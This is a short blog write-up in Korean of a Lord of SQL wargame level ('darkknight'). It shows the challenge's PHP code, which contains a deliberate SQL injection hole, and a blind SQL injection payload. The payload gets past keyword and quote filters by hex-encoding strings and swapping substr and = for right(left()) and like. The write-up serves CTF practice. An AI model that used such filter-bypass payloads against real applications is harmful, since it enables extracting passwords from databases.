Web/LOS (Lord of SQL)
los(lord of sql) level 12 - darkknight
ar9ang3
2018. 8. 21. 06:38
query : select id from prob_darkknight where id='guest' and pw='' and no=
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
blind sqli 문제입니다. no 파라미터에 substr, ascii, =를 필터링하고 있습니다. 또 pw 파라미터에 싱글쿼터를 필터링하고 있습니다.
이전 문제와 같지만 싱글쿼터가 필터링 중이니 string 문자열을 hex encoding하여 페이로드를 작성합시다.
?no=1||id like 0x61646d696e%26%26right(left(pw,1),1)like(0x41)%23
payload